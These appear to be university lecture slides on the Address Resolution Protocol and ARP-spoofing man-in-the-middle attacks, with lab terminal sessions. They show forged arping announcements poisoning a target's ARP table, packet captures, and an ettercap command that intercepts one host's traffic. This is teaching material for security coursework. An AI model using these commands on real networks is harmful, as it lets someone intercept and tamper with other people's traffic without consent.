

ARP* man-in-the-middle attack

David Morgan – U. S. C.

*address resolution protocol – rfc 826

“Hardware address” to “Protocol address” translation

- Network layer and up use one addressing scheme
- Data link and down use (if any) another
- Network-up: “protocol” addresses
- Datalink-down: “hardware” addresses

“Hardware” vs “Protocol” addresses

- Protocol addresses
 - software abstractions
 - apps use them to identify destination computers
 - hardware cannot locate a computer using one
- Hardware addresses
 - applications don’t use them
 - hardware can locate a computer using one
 - but only within same physical net (computers on common medium)


Example

- IP addresses
 - 32-bit numbers
 - telnet/ftp/http use them to identify destination computers
 - ethernet cannot locate a computer using one
- Ethernet addresses
 - 48-bit numbers
 - telnet/ftp/http don’t use them
 - ethernet can locate a computer on the common coax or hub using one

Translation necessary

- Given an IP destination, what is the matching ethernet address?
- Address Resolution Protocol finds out (resolves)


Ethernet frame structure



Frames ethernet NICs' will read

- frames destined to
 - NIC's own address
 - FF:FF:FF:FF:FF:FF
- others ignored (payload never read)

Ethernet broadcast



How could we translate?


- Table lookup
 - bindings/mappings kept in memory table
- Message exchange
 - dynamic message exchange across network
- ARP uses both

A lookup table

| <u>IP address</u> | <u>Ethernet address</u> |
|-------------------|-------------------------|
| 192.168.3.1 | 00:80:C8:E2:AF:61 |
| 192.168.3.2 | 00:A0:CC:D2:F0:42 |
| 192.168.3.3 | 00:40:05:A3:42:26 |
| 192.168.3.4 | 0A:07:4B:12:82:36 |
| 192.168.3.5 | 0A:77:81:0E:52:FA |


... or how about message exchange?

Ethernet carrying ARP



Ethernet's payload may be an Address Resolution Protocol message

ARP message structure




4 bytes


Ethernet carrying ARP

| | | | | |
|-----------------------|-------|------------------|-----------------------|------|
| Destination HWAddress | | Source HWAddress | | 0806 |
| HW address type | | | Protocol address type | |
| HALen | PALen | | Operation | |
| Sender HAddr | | | Sender PAddr | |
| Sender Paddr (cont) | | | Target HAddr | |
| | | | Target PAddr | |
| Packet Checksum | | | | |

B arps (seeks) D




B's arp request is broadcast...



...reaches everybody; everybody reads it, nobody ignores it

D's arp reply is direct to B (unicast) ...



...reaches everybody (hub) or B only (switch); B reads it, everybody else ignores it

Caching arp responses

- arp is inefficient
- takes 3 frames to transfer 1 packet
- packets between host pairs occur in bunches
- so arp caches a table of recent arp'd bindings in memory
- subsequent packets use table, not message exchange

Cached arp table

```
[root@EMACH1 david]# arp -n
```

| Address | HWtype | HWaddress | Flags | Mask | Iface |
|---------------|--------|-------------------|-------|------|-------|
| 192.168.3.1 | ether | 00:80:C8:E2:AF:61 | C | | eth0 |
| 192.168.3.3 | ether | 00:40:05:A3:42:26 | C | | eth0 |
| 64.130.228.62 | ether | 00:10:E8:09:6E:80 | C | | eth1 |

Operation essentials: arp request

- target receives, reads broadcast frame
- caches sender's addr binding
- compares target IP with his own
 - quit if no match, otherwise...
- compose arp response
 - reverse sender, target addr bindings
 - insert ethernet addr into Sender Haddr field
 - insert “2” (response) in operation field
 - send


Operation essentials: arp reply

- target receives, reads unicast frame
- caches sender's addr binding
- uses its hardware address to frame and send protocol packet to sender (remember, arp reply “sender” is protocol's intended “recipient”)

Observation about caching mechanism for sender bindings

- performed for an incoming request
- uncritical – no questions asked
- recipe to write his cache
 - compose and a request containing the binding you want to write (your MAC in ethernet source field, any IP in arp senderIP field)
 - send it to him
 - he'll take care of it for you

Tools for lab



arp table impact of arping utility

192.168.1.122 00:18:8b:ba:fa:a4

```

root@server:~# [root@arpslinger ~]# arping -c1 -U -s 192.168.1.122 -I eth0 192.168.1.142*
ARPING 192.168.1.142 from 192.168.1.122 eth0
Sent 1 probes (1 broadcast(s))
Received 0 response(s)
[root@arpslinger ~]#

root@server:~# [root@arpslinger ~]# tshark -Vnmi eth0 arp -T fields -e eth.src -e eth.dst -e arp.src.hw_mac -e arp.src.proto_ipv4 -e arp.dst.hw_mac -e arp.dst.proto_ipv4 -E header-y
eth.src eth.dst arp.src.hw_mac arp.src.proto_ipv4 arp.dst.hw_mac arp.dst.proto_ipv4
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
00:18:8b:ba:fa:a4 ff:ff:ff:ff:ff:ff 00:18:8b:ba:fa:a4 192.168.1.122 ff:ff:ff:ff:ff:ff 192.168.1.142
00:0c:29:32:95:d9 00:18:8b:ba:fa:a4 00:0c:29:32:95:d9 192.168.1.142 00:18:8b:ba:fa:a4 192.168.1.122
^C2 packets captured
[root@arpslinger ~]#
  
```

192.168.1.142 00:0c:29:32:95:d9

```

root@target:~# [root@target ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:40:CA:B4:E3:FC C eth0
[root@target ~]# [root@target ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:40:CA:B4:E3:FC C eth0
192.168.1.122 ether 00:18:8B:BA:FA:A4 C eth0
[root@target ~]#
  
```

* prereq: echo 1 > /proc/sys/net/ipv4/ip_nonlocal_bind

Selective packet trace

arp table BEFORE

arp table AFTER

Putting wrong mappings in the arp table

192.168.1.122 00:18:8b:ba:fa:a4

```

root@server:~# [root@arpslinger ~]# arping -c1 -U -s 192.168.1.99 -I eth0 192.168.1.142
ARPING 192.168.1.142 from 192.168.1.99 eth0
Sent 1 probes (1 broadcast(s))
Received 0 response(s)
[root@arpslinger ~]# [root@arpslinger ~]# arping -c1 -U -s 192.168.1.199 -I eth0 192.168.1.142
ARPING 192.168.1.142 from 192.168.1.199 eth0
Sent 1 probes (1 broadcast(s))
Received 0 response(s)
[root@arpslinger ~]#

root@server:~# [root@arpslinger ~]# tshark -Vnmi eth0 arp -T fields -e eth.src -e eth.dst -e arp.src.hw_mac -e arp.src.proto_ipv4 -e arp.dst.hw_mac -e arp.dst.proto_ipv4 -E header-y
eth.src eth.dst arp.src.hw_mac arp.src.proto_ipv4 arp.dst.hw_mac arp.dst.proto_ipv4
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
00:18:8b:ba:fa:a4 ff:ff:ff:ff:ff:ff 00:18:8b:ba:fa:a4 192.168.1.99 ff:ff:ff:ff:ff:ff 192.168.1.142
00:0c:29:32:95:d9 00:18:8b:ba:fa:a4 00:0c:29:32:95:d9 192.168.1.142 00:18:8b:ba:fa:a4 192.168.1.99
00:18:8b:ba:fa:a4 ff:ff:ff:ff:ff:ff 00:18:8b:ba:fa:a4 192.168.1.199 ff:ff:ff:ff:ff:ff 192.168.1.142
00:0c:29:32:95:d9 00:18:8b:ba:fa:a4 00:0c:29:32:95:d9 192.168.1.142 00:18:8b:ba:fa:a4 192.168.1.199
^C4 packets captured
[root@arpslinger ~]#
  
```

192.168.1.142 00:0c:29:32:95:d9

```

root@target:~# [root@target ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:40:CA:B4:E3:FC C eth0
[root@target ~]# [root@target ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.99 ether 00:18:8B:BA:FA:A4 C eth0
192.168.1.1 ether 00:40:CA:B4:E3:FC C eth0
192.168.1.199 ether 00:18:8B:BA:FA:A4 C eth0
[root@target ~]#
  
```

Selective packet trace

arp table BEFORE

"poisoned" AFTER


Consequence

- target thinks arpslinger's MAC address is the one that belongs to each of the 2 poisoned IPs
- target's packets to either IP will be frame-addressed to arpslinger
- arpslinger becomes the recipient of traffic sent by target to them

Man in the middle


node 1 in the middle of node2-node4 conversation

in order to reach node4



actual arp/ethernet business by node2 will be conducted with node0— the router


so to get between 2 and 4, node1 must get between 2 and 0




Man in the middle

node 1 in the middle of node2-node0 conversation

before poisoning



after poisoning



MITM between node2 and the world

dual targets


execute from node1 (attacker):

`ettercap -T -M arp /10.1.1.2/ //`

"intercept/forward traffic between:
node2
all other nodes"

To control/obtain traffic outgoing from node2:
give him attacker's MAC for all other nodes

To control/obtain traffic incoming to node2:
give all other nodes attacker's MAC for him



Is man in the middle abnormal?

- is your home router abnormal?
- your ISP gateway?
- traceroute-revealed nodes?
- what do men-in-the-middle do with traffic?
 - what do sprinters do with batons?
 - what do bucket brigades do with water?
 - what do people do with money?
 - what does ettercap do with packets?

Information resources

- arp spoofing explanation
<http://www.grc.com/nat/arp.htm>
- arp's defining rfc
<http://www.rfc-editor.org/rfc/rfc826.txt>
- Ettercap project homepage
<http://ettercap.sourceforge.net/>